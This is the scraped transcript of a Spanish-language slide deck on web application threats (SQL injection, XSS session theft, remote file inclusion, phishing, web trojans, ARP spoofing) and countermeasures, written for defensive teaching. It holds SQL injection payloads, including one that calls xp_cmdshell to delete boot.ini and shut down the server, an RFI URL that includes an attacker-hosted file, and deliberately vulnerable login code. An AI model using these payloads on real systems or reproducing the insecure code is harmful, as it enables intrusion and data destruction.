seguridad en aplicaciones web
Download
Skip this Video
Download Presentation
Seguridad en Aplicaciones Web

Loading in 2 Seconds...

play fullscreen
1 / 94

Seguridad en Aplicaciones Web - PowerPoint PPT Presentation


  • 153 Views
  • Uploaded on

Seguridad en Aplicaciones Web. Amenazas Web. Chema Alonso MS MVP Windows Server Security [email protected] Agenda Amenazas Web. Aplicaciones Web Vulnerabilidades: Sql Injection Vulnerabilidades: Cross-Site Scripting Vulnerabilidades: RFI Vulnerabilidades: Phising

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Seguridad en Aplicaciones Web' - obelia


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
amenazas web

Amenazas Web

Chema Alonso

MS MVP Windows Server Security

[email protected]

agenda amenazas web
Agenda Amenazas Web
  • Aplicaciones Web
  • Vulnerabilidades: Sql Injection
  • Vulnerabilidades: Cross-Site Scripting
  • Vulnerabilidades: RFI
  • Vulnerabilidades: Phising
  • Vulnerabilidades: WebTrojan
  • Vulnerabilidades: Capa 8
tipos de aplicaciones web
Tipos de Aplicaciones Web
  • Web Site público.
    • Información destinada al público.
  • Intranet (ERP/CRM/Productividad)
    • Información privada de acceso interno.
  • Extranet (Productividad/B2B/B2C)
    • Información privada de acceso externo.
arquitectura multicapa
Arquitectura Multicapa

Interfaz de Usuario

(GUI)

Lógica de la Aplicación

Almacén

De Datos

DCOM

BBDD

WebServer

Browser

WebService

BBDD

WebServer

RPC

amenazas
Amenazas
  • Zone-h contabiliza 2.500 intrusiones Web con éxito cada día en 2004.
  • Se atacan todas las tecnologías
  • Los ataques se han escalado desde el sistema operativo a la aplicación.
  • Ataques no masivos.
  • Motivos:
    • Económicos
    • Venganza
    • Reto
    • Just For Fun
cliente riesgos
Cliente - Riesgos
  • Navegador de Internet:
    • Ejecuta código en contexto de usuario.
    • Lenguajes potentes:
      • HTML/DHTML
      • vbScript/JavaScript/Jscript
    • Programas embebidos
      • Applets Java
      • ActiveX
      • Shockwave Flash
    • Códigos No protegidos
      • Cifrado cliente: Atrise.
      • Ofuscación de código.
c digo y poder
Código y poder
  • El código fuente es poder
    • Tanto para defenderse como para atacar
  • Compartir el código es compartir el poder.
    • Con los atacantes y defensores
  • Publicar el código fuente sin hacer nada más degrada la seguridad
  • Por el contrario, publicar el código fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.
software seguro
Software Seguro
  • El software Fiable es aquel que hace lo que se supone que debe hacer.
  • El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas.
    • Son los sorprendentes “algo mas” los que producen inseguridad.
  • Para estar seguro, debes de ejecutar solo software perfecto :-)
  • O, hacer algo para mitigar ese “algo mas”
cliente riesgos1
Cliente - Riesgos
  • Ninguna protección en cliente es buena
  • Utilización de técnicas de MITM
    • Achilles
    • BurpSuite
    • Odysseus…
  • Decompiladores
    • Flash
    • Java
l gica de aplicaci n riesgos
Lógica de Aplicación - Riesgos
  • Servidor Web
    • Ejecuta código en contextos privilegiados.
    • Lenguajes potentes
    • Acceden a BBDD
    • Envían programas a clientes
    • Transferir ficheros
    • Ejecutar comandos sobre el sistema.
    • Soporte para herramientas de administración de otro software.
    • Códigos de Ejemplo
almac n de datos riesgos
Almacén de Datos - Riesgos
  • SGBD
    • Lenguaje de 3ª y 4ª Generación.
    • Soporta múltiples bases de datos.
    • Catálogo global de datos.
    • Ejecuta programas sobre Sistema.
    • LOPD.
    • Transacciones económicas.
    • Información clave de negocio.
explotaci n del ataque
Explotación del Ataque
  • Aplicaciones con mala comprobación de datos de entrada.
    • Datos de usuario.
      • Formularios
        • Text
        • Password
        • Textarea
        • List
        • multilist
    • Datos de llamadas a procedimientos.
      • Links
      • Funciones Scripts
      • Actions
  • Datos de usuario utilizados en consultas a base de datos.
  • Mala construcción de consultas a bases de datos.
riesgos
Riesgos
  • Permiten al atacante:
    • Saltar restricciones de acceso.
    • Elevación de privilegios.
    • Extracción de información de la Base de Datos
    • Parada de SGBDR.
    • Ejecución de comandos en contexto usuario bd dentro del servidor.
tipos de ataques
Tipos de Ataques
  • Ejemplo 1:
    • Autenticación de usuario contra base de datos.

Select idusuario from tabla_usuarios

Where nombre_usuario=‘$usuario’

And clave=‘$clave’;

Usuario

Clave

****************

tipos de ataques1
Tipos de Ataques
  • Ejemplo 1 (cont)

Select idusuario from tabla_usuarios

Where nombre_usuario=‘Administrador’

And clave=‘’ or ‘1’=‘1’;

Usuario

Administrador

Clave

‘ or ‘1’=‘1

tipos de ataques2
Tipos de Ataques
  • Ejemplo 2:
    • Acceso a información con procedimientos de listado.

http://www.miweb.com/prog.asp?parametro1=hola

Ó

http://www.miweb.com/prog.asp?parametro1=1

tipos de ataques3
Tipos de Ataques
  • Ejemplo 2 (cont):

http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --

Ó

http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --

contramedidas
Contramedidas
  • No confianza en medias de protección en cliente.
  • Comprobación de datos de entrada.
  • Construcción segura de sentencias SQL.
  • Fortificación de Servidor Web.
    • Códigos de error.
    • Restricción de verbos, longitudes, etc..
    • Filtrado de contenido HTTP en Firewall.
  • Fortificación de SGBD.
    • Restricción de privilegios de motor/usuario de acceso desde web.
    • Aislamiento de bases de datos.
contramedidas1
Contramedidas
  • Desarrollo .NET
    • Redirigir a una página personalizada en caso de error
    • Web.Config
      • Mode  On, Off, RemoteOnly
      • DefaultRedirect  Error no especificado
      • <error…>Errores específicos

<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">

<error statusCode="403" redirect="NoAccess.htm"/>

<error statusCode="404" redirect="FileNotFound.htm"/>

</customErrors>

contramedidas2
Contramedidas
  • Desarrollo .NET (Validadores)
contramedidas3
Contramedidas

protected void Button1_Click(object sender, EventArgs e){

SqlConnection conn = new SqlConnection(connstr);

conn.Open();

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Select * from Usuarios where login=\'"+ txtLogin.Text +"‘

and password=\'"+ txtPassword.Text +"\'";

cmd.CommandType = CommandType.Text;

SqlDataReader dr = cmd.ExecuteReader();

if (dr.HasRows){

//Código para permitir el paso a la aplicación

Response.Write("<script>alert(\'Acceso permitido\');</script>");

}

else{

//Codigo para rechazar el usuario

Response.Write("<script>alert(\'Acceso denegado\');</script>");

}

conn.Close();

}

  • Desarrollos en .NET (Código inseguro)
contramedidas4
Contramedidas
  • Desarrollo .NET (Código seguro)
      • Consultas parametrizadas

protected void Button1_Click(object sender, EventArgs e){

SqlConnection conn = new SqlConnection(connstr);

conn.Open();

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Select * from Usuarios where [email protected]

and [email protected]";

cmd.Parameters.AddWithValue("login", txtLogin);

cmd.Parameters.AddWithValue("pass", txtPassword.Text);

cmd.CommandType = CommandType.Text;

dr = cmd.ExecuteReader();

if (dr.HasRows){//Código para permitir el paso a la aplicación

Response.Write("<script>alert(\'Acceso permitido\');</script>");

} else{//Codigo para rechazar el usuario

Response.Write("<script>alert(\'Acceso denegado\');</script>");

} conn.Close(); }

explotaci n del ataque1
Explotación del Ataque
  • Datos almacenados en servidor desde cliente.
  • Datos van a ser visualizados por otros cliente/usuario.
  • Datos no filtrados. No comprobación de que sean dañinos al cliente que visualiza.
riesgos1
Riesgos
  • Ejecución de código en contexto de usuario que visualiza datos.
    • Navegación dirigida
    • Phising
    • Spyware
    • Robo de credenciales
    • Ejecución de acciones automáticas
    • Defacement
tipos de ataques4
Tipos de Ataques
  • Mensajes en Foros.
  • Firma de libro de visitas.
  • Contactos a través de web.
  • Correo Web.
  • En todos ellos se envían códigos Script dañinos.
robo de sesiones xss
Robo de Sesiones (XSS)
  • Mediante esta técnica se puede robar sesiones de una manera bastante sencilla
  • Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie
  • Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS
  • Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie
robo de sesiones xss1
Robo de Sesiones (XSS)
  • Una vez que la página obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasándole la cookie original
  • Por supuesto esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión
contramedidas5
Contramedidas
  • Fortificación de aplicación
    • Comprobación fiable de datos
  • Fortificación de Clientes
    • Ejecución de clientes en entorno menos privilegiado.
    • Fortificación de navegador cliente.
      • MBSA.
      • Políticas.
contramedidas6
Contramedidas
  • Desarrollo .NET
    • En ASP.NET el Cross Site Scripting está deshabilitado por defecto
      • El Framework se encarga de buscar posibles ataques de este tipo en las entradas de datos
      • Se puede deshabilitar este tipo de verificación mediante un atributo de la directiva @Page
    • Para deshabilitarlo

<%@ Page …ValidateRequest=“false” … %>

remote file inclusion rfi
Remote File Inclusion (RFI)
  • Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores
  • Se debe a una mala programación o uso de la función include()
  • Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor
remote file inclusion rfi1
Remote File Inclusion (RFI)
  • La vulnerabilidad es producida por código semejante a este
  • En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor

$page = $_GET[\'page\'];

include($page);

http://victima.com/pagvuln.php?page=http://[misitio]/miFichero

remote file inclusion rfi2
Remote File Inclusion (RFI)
  • Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)
remote file inclusion rfi3
Remote File Inclusion (RFI)
  • Mediante las shell PHP se pueden ejecutar comandos en una página Web
  • Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc.
  • “El inconveniente” es que la mayoría de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecución de comandos
remote file inclusion rfi4
Remote File Inclusion (RFI)
  • Sin embargo, existen funciones como show_source(‘archivo’) que permiten la visualización del código fuente de una página
  • A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio
  • El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web
explotaci n del ataque2
Explotación del Ataque
  • Basado en técnicas de Ingeniería Social.
  • Se aprovecha de la confianza de los usuarios.
  • Se aprovecha de la falta de formación en seguridad de los usuarios.
  • Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.
riesgos2
Riesgos
  • Suplantación de Sitios Web para engañar al usuario.
  • Robo de credenciales de acceso a web restringidos.
    • Robo de dinero
    • Compras por Internet
    • Bromas pesadas
tipos de ataques5
Tipos de Ataques
  • Se falsea la dirección de DNS del servidor
    • Falsificación hosts
      • Troyanos, Físicamente, Shellcodes exploits
    • DHCP
    • DNS Spoofing
      • Man in The Middle
  • Se engaña la navegación.
    • Frames Ocultos
    • URLs falseadas.
  • Se implanta en la nueva ubicación un servidor replica.
  • Se implantan hasta fakes de certificados digitales
exploits
Exploits

infohacking.com

contramedidas7
Contramedidas
  • Uso de CA de confianza
  • Formación a usuarios
  • Gestión de actualizaciones de seguridad
  • Códigos de aplicaciones seguras
  • Control físico de la red
  • Comprobación DHCP
explotaci n de ataque
Explotación de Ataque
  • Servidores Web no fortificados
    • Ejecución de programas en almacenes de ficheros.
    • Subida de ficheros a servidores.
      • Imágenes para publicaciones.
      • Archivos de informes.
      • Currículos, cuentos, etc...
    • Almacenes de ficheros accesibles en remoto
  • Usuario en contexto servidor Web no controlado
riesgos3
Riesgos
  • Implantación de un troyano que puede:
    • Gestionar ficheros
    • Ejecutar programas
    • Destrozar el sistema
    • Defacement
    • Robo de información
    • ....
tipos de ataques6
Tipos de Ataques
  • Programación de un troyano en PHP, ASP o JSP
  • Utilización de objetos FileObject
  • Subida mediante ASP Upload, FTP o RFI
  • Busqueda del lugar de almacenamiento
  • Invocación por URL pública del servidor Web
contramedidas8
Contramedidas
  • Fortificación de servidores Web
    • Menor Privilegio
      • Ejecución de programas en sitios restringidos
      • Listado de directorios ocultos
      • Usuario de servidor en contexto controlado
    • Subida de archivos controlada
      • Ubicación no accesible desde URL pública
      • Tipos de ficheros controlados
        • Tamaño, tipo, extensión, etc..
        • Filtrado vírico -> Rootkits
contramedidas9
Contramedidas
  • Desarrollo .NET
    • En ASP.NET se puede verificar la extensión del fichero que se sube al servidor
      • Evita la subida de ficheros potencialmente peligrosos

if (!FileUpload1.PostedFile.FileName.EndsWith(".jpg"))

{

//Error: El fichero no es del tipo esperado

}

explotaci n de ataque1
Explotación de Ataque
  • Falta de conocimiento SD3
    • Diseño
    • Configuraciónes
    • Implantación
  • Administradores/Desarrolladores no formados en Seguridad
    • Hacking Ético
  • Falta de conocimiento del riesgo
riesgos4
Riesgos
  • Insospechados:
    • Bases de datos públicas
    • No protección de datos
    • No protección de sistemas
    • .....
tipos de ataques7
Tipos de Ataques
  • Hacking Google
  • Administradores predecibles
    • http://www.misitio.com/administracion
    • http://www.misitio.com/privado
    • http://www.misitio.com/gestion
    • http://www.misitio.com/basedatos
  • Ficheros log públicos
    • WS_ftp.log
  • Estadísticas públicas
    • Webalyzer
contramedidas10
Contramedidas
  • Formación
  • Ficheros Robots
    • Robots.txt
  • LOPD y LSSI
    • www.lssi.es
  • Writting Secure Code
troyanos

Troyanos

“Hay un amigo en mi”

video

Video

Que puede hacer un troyano

troyano
Troyano
  • Programa que se ejecuta en tu máquina y cuyo control no depende de ti.
  • Como el …..
  • Mil formas, mil colores
  • Los Hackers la llaman la “girlfriend”
obtenci n de privilegios
Obtención de Privilegios
  • Fallo en la cadena:
    • Procesos:
      • Sistema no cerrado.
    • Tecnología:
      • Fallo en sw de sistema operativo
      • Fallo en sw ejecución de códigos.
    • Personas:
      • Ingeniería Social: “¡Que lindo programita!”
      • Navegación privilegiada
objetivos
Objetivos
  • Control remoto:
    • Instalan “suites” de gestión del sistema.
  • Robo de información
  • Modificación del sistema:
    • Phishing
    • Creación de usuarios
    • Planificación de tareas
    • ....
instalaci n del troyano
Instalación del Troyano
  • Se suele acompañar de “un caballo” para tranquilizar a la víctima.
    • Se añaden a otro software.
      • EJ: Whackamole
      • Joiners, Binders
    • Incluidos en documentos que ejecutan código:
      • Word, excel, swf, .class, pdf, html, etc...
instalaci n del troyano1
Instalación del Troyano
  • Simulando ser otro programa
    • P2P, HTTP Servers
      • Paquetes Zip autodescomprimibles
      • Programas con fallo de .dll
    • Instaladores de otro SW
slide73

Demo:

Un troyano de andar por casa pa… phisear

slide74

Demo:

Un troyano de andar por casa pa… meter un backdoor

slide75

Demo:

Un troyano de andar por casa pa… abrir una shell

slide76

Demo:

Un troyano de andar por casa pa… robar una shell

detecci n de troyanos
Detección de Troyanos
  • Anti-Mallware
    • Antivirus
    • AntiSpyware
  • Comportamiento anómalo del sistema
  • Configuraciones nuevas
    • Cambio en páginas de navegación
    • Puertos
    • ....
prevenci n contra troyanos
Prevención contra Troyanos
  • Defensa en Profundidad
  • Mínimo Privilegio Posible
  • Mínimo punto de exposición
  • Gestión de updates de seguridad
  • Antivirus/AntiSpyware
  • Ejecución controlada de programas
  • Navegación segura
rfc 1180 tcp ip tutorial
RFC 1180 - TCP/IP tutorial

There are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP-spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information.

t cnicas de spoofing
Técnicas de Spoofing
  • Las técnicas spoofing tienen como objetivo suplantar validadores estáticos

Un validador estático es un medio de autenticación que permanece invariable antes, durante y después de la concesión.

slide82

Niveles Afectados

Nombres de dominio

Direcciones de correo electrónico

Nombres de recursos compartidos

SERVICIO

RED

Dirección IP

ENLACE

Dirección MAC

tipos de t cnicas de spoofing
Tipos de técnicas de Spoofing
  • Spoofing ARP
    • Envenenamiento de conexiones.
    • Man in the Middle.
  • Spoofing IP
    • Rip Spoofing.
    • Hijacking.
  • Spoofing SMTP
  • Spoofing DNS
    • WebSpoofing.
t cnicas de sniffing
Técnicas de Sniffing
  • Capturan tráfico de red.
  • Necesitan que la señal física llegue al NIC.
  • En redes de difusión mediante concentradores todas las señales llegan a todos los participantes de la comunicación.
  • En redes conmutadas la comunicación se difunde en función de direcciones.
    • Switches utilizan dirección MAC.
slide85

Nivel de Enlace: Spoofing ARP

  • Suplantar identidades físicas.
    • Saltar protecciones MAC.
    • Suplantar entidades en clientes DHCP.
    • Suplantar routers de comunicación.
  • Solo tiene sentido en comunicaciones locales.
slide86

Dirección Física

  • Tiene como objetivo definir un identificador único para cada dispositivo de red.
  • Cuando una máquina quiere comunicarse con otra necesita conocer su dirección física.
    • Protocolo ARP
  • No se utilizan servidores que almacenen registros del tipo:
    • Dirección MAC <-> Dirección IP.
  • Cada equipo cuenta con una caché local donde almacena la información que conoce.
ataque arp m an i n t he m iddle
Ataque ARP Man In The Middle

1.1.1.2 esta en99:88:77:66:55:44

1.1.1.1 esta en 99:88:77:66:55:44

1.1.1.1

¿Quien tiene 1.1.1.2?

1.1.1.2 esta en 00:11:22:33:44:55:66

1.1.1.2

slide88

Protección contra Envenenamiento

  • Medidas preventivas.
    • Control físico de la red.
      • Bloqueo de puntos de acceso.
      • Segmentación de red.
    • Gestión de actualizaciones de seguridad.
      • Protección contra Exploits.
      • Protección contra troyanos.
protecci n contra envenenamiento
Protección contra Envenenamiento
  • Medidas preventivas.
    • Cifrado de comunicaciones.
      • IPSec.
      • Cifrado a nivel de Aplicación:
        • S/MIME.
        • SSL.
    • Certificado de comunicaciones.
slide90

Protección contra Envenenamiento

  • Medidas reactivas.
  • Utilización de detectores de Sniffers.
    • Utilizan test de funcionamiento anómalo.
      • Test ICMP.
      • Test DNS.
      • Test ARP.
  • Sistemas de Detección de Intrusos
frase vs passwords
Frase vs. Passwords

technews
TechNews
contacto
Contacto
ad